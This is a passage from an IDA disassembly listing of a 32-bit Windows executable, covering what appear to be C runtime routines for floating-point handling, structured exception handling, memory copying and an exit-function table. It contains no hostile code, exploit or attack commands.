CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB97C, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43CF54, offset sub_421935 mov off_43CF50, eax mov off_43CF58, offset sub_42199B mov off_43CF5C, offset sub_4218DB mov off_43CF60, offset sub_421983 mov off_43CF64, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A958 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB9D4 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A95C jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A95C mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DCFDC call sub_422608 mov edx, dword_4DCFDC pop ecx mov ecx, dword_4DCFD8 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DCFDC call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DCFD8 sub ecx, dword_4DCFDC mov dword_4DCFDC, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DCFD8, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DCFD8, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DCFDC, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DCFDC pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DCFDC mov dword_4DCFD8, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2790000h lea eax, [ebp+var_20] push eax nop call near ptr 2890000h mov ax, [ebp+var_16] cmp ax, word_4DB992 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB990 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB98E jnz short loc_41D0E6 mov ax, 